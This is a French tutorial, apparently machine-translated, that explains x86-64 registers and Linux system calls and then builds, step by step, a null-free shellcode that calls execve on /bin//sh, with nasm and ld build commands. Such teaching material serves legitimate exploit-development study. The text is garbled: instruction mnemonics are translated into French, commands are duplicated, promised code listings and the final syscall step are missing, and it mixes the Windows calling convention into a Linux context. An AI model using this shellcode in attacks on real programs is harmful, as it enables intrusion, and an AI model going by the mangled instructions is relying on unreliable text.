Plus précisément, tous les registres à usage général 32 bits sont conservés, leurs versions étendues sont ajoutées ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) et plusieurs nouveaux registres à usage général ( r8, r9, r10, r11, r12, r13, r14, r15).

Une nouvelle convention d'appel apparaît (contrairement à l'architecture x86, il n'y en a qu'une). Selon lui, lorsqu'une fonction est appelée, chaque registre est utilisé à des fins précises, à savoir :

  • les quatre premiers arguments entiers de la fonction sont passés par des registres rcx, rdx, r8 et r9 et à travers les registres xmm0 - xmm3 pour les types à virgule flottante ;
  • le reste des paramètres est passé sur la pile ;
  • pour les paramètres passés par des registres, l'espace est toujours réservé sur la pile ;
  • le résultat de la fonction est retourné via le registre Rax pour les types entiers, ou via le registre xmm0 pour les types à virgule flottante ;
  • RBP contient un pointeur vers la base de la pile, c'est-à-dire l'endroit (adresse) où commence la pile ;
  • rsp contient un pointeur vers le haut de la pile, c'est-à-dire vers l'endroit (adresse) où la nouvelle valeur sera placée ;
  • rsi, rdi utilisé dans appel système.

Un peu sur la pile : puisque les adresses sont maintenant en 64 bits, les valeurs sur la pile peuvent avoir une taille de 8 octets.

appel système. Quoi? Comment? Pourquoi?

Appel système est la façon dont le mode utilisateur interagit avec le noyau sous Linux. Il est utilisé pour diverses tâches : opérations d'E/S, écriture et lecture de fichiers, ouverture et fermeture de programmes, travail avec la mémoire et le réseau, etc. Afin de remplir appel système, nécessaire:

Chargez le numéro de fonction correspondant dans le registre rax ;
charger les paramètres d'entrée dans d'autres registres ;
numéro d'interruption de déclenchement 0x80(depuis la version 2.6 du noyau, cela se fait en appelant appel système).

Contrairement à Windows, où il faut encore trouver l'adresse de la fonction recherchée, ici tout est assez simple et concis.

Les numéros des fonctions d'appel système requises peuvent être trouvés, par exemple,

execve()

Si nous regardons les shellcodes prêts à l'emploi, beaucoup d'entre eux utilisent la fonction exec().

execve() a le prototype suivant :

Elle appelle le programme NOM DE FICHIER. Programme NOM DE FICHIER peut être soit un binaire exécutable, soit un script commençant par la ligne # ! interprète.

argv est un pointeur vers un tableau, en fait, c'est la même chose argv, que nous voyons, par exemple, en C ou Python.

envp- un pointeur vers un tableau décrivant l'environnement. Non utilisé dans notre cas, importera nul.

Exigences de base pour le shellcode

Il existe un code indépendant de la position. C'est le code qui sera exécuté, peu importe d'où il est chargé. Pour que notre shellcode puisse s'exécuter n'importe où dans le programme, il doit être indépendant de la position.

Le plus souvent, le shellcode est chargé avec des fonctions telles que strcpy(). Des fonctions similaires utilisent des octets 0x00, 0x0A, 0x0D comme délimiteurs (en fonction de la plate-forme et des fonctionnalités). Par conséquent, il est préférable de ne pas utiliser de telles valeurs. Sinon, la fonction peut copier le shellcode de manière incomplète. Considérez l'exemple suivant :

$ rasm2 -a x86 -b 64 "pousser 0x00" 6a00

$ rasm2 - a x86 - b 64 "pousser 0x00"

6a00

Comme vous pouvez le voir, le code pousser 0x00 compile aux octets suivants 6a00. Si nous avions utilisé un tel code, notre shellcode n'aurait pas fonctionné. La fonction copierait tout jusqu'à l'octet avec la valeur 0x00.

Vous ne pouvez pas utiliser d'adresses "codées en dur" dans le shellcode, car nous ne connaissons pas ces adresses à l'avance. Pour cette raison, toutes les lignes du shellcode sont obtenues dynamiquement et stockées sur la pile.

Cela semble être tout.

FAIS-LE C'EST TOUT!

Si vous avez lu jusqu'ici, vous devriez déjà avoir une idée du fonctionnement de notre shellcode.

La première étape consiste à préparer les paramètres de la fonction execve(), puis à les allouer correctement sur la pile. La fonction ressemblera à ceci :

Le deuxième paramètre est un tableau argv. Le premier élément de ce tableau contient le chemin vers l'exécutable.

Le troisième paramètre est l'information sur l'environnement, nous n'en avons pas besoin, donc cela importera nul.

Nous obtenons d'abord un octet nul. Nous ne pouvons pas utiliser une structure comme mov eax, 0x00 car cela entraînerait des octets nuls dans le code, nous allons donc utiliser l'instruction suivante :

xor rdx, rdx

Laissez cette valeur dans le registre rdx- il sera toujours nécessaire comme caractère de fin de ligne et la valeur du troisième paramètre (qui sera nul).

Étant donné que la pile grandit des adresses supérieures aux adresses inférieures, et que la fonction execve() lira les paramètres d'entrée de bas en haut (c'est-à-dire que la pile fonctionne avec la mémoire dans l'ordre inverse), puis nous mettrons les valeurs inversées sur la pile.

Pour inverser une chaîne et la traduire en hexagone, vous pouvez utiliser la fonction Python suivante :


Appelons cette fonction pour /bin/sh : >>> rev.rev_str("/bin/sh")

"68732f6e69622f"

Nous avons obtenu un octet nul (le deuxième octet à partir de la fin), qui cassera notre shellcode. Pour éviter que cela ne se produise, nous tirerons parti du fait que Linux ignore les barres obliques finales (c'est-à-dire /bin/ch et /bin//sh- C'est pareil).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

Pas d'octets nuls !

Ensuite, nous cherchons des informations sur la fonction execve () sur le site. On regarde le numéro de fonction que l'on met dans rax - 59. On regarde quels registres sont utilisés :
rdi- stocke l'adresse de la chaîne NOM DE FICHIER;
RSI- stocke l'adresse de la chaîne argv ;
rdx- stocke l'adresse de la chaîne envp.

Maintenant, nous rassemblons tout ensemble.
Poussez le caractère de fin de ligne sur la pile (rappelez-vous que tout se fait dans l'ordre inverse) :

xor rdx, rdx pousser rdx

xor rdx , rdx

pousser rdx

Pousser une chaîne sur la pile /bin//sh : mov rax, 0x68732f2f6e69622f
pousser

Obtenir l'adresse de la chaîne /bin//sh sur la pile et poussez-le immédiatement pour rdi : mov rdi, rsp

En rsi, vous devez placer un pointeur sur un tableau de chaînes. Dans notre cas, ce tableau ne contiendra que le chemin vers le fichier exécutable, il suffit donc d'y mettre une adresse qui fait référence à la mémoire où se trouve l'adresse de la chaîne (en C, un pointeur sur un pointeur). Nous avons déjà l'adresse de la ligne, elle est dans le registre rdi. Le tableau argv doit se terminer par un octet nul, que nous avons dans le registre rdx :

pousser rdx pousser rdi mov rsi, rsp

pousser rdx

pousser rdi

mov rsi , rsp

Maintenant RSI pointe vers l'adresse sur la pile qui contient le pointeur vers la chaîne /bin//sh.

Nous mettons en Rax numéro de fonction execve() : xor rax, rax
mobile, 0x3b

En conséquence, nous avons reçu un tel fichier:


Compiler et lier sous x64. Pour ça:

$ nasm -f elf64 example.asm $ ld -m elf_x86_64 -s -o example example.o

$ nasm - f elf64 exemple .asm

$ ld - m elf_x86_64 - s - o exemple exemple .o

Maintenant, nous pouvons utiliser objdump -d exemple pour afficher le fichier résultant.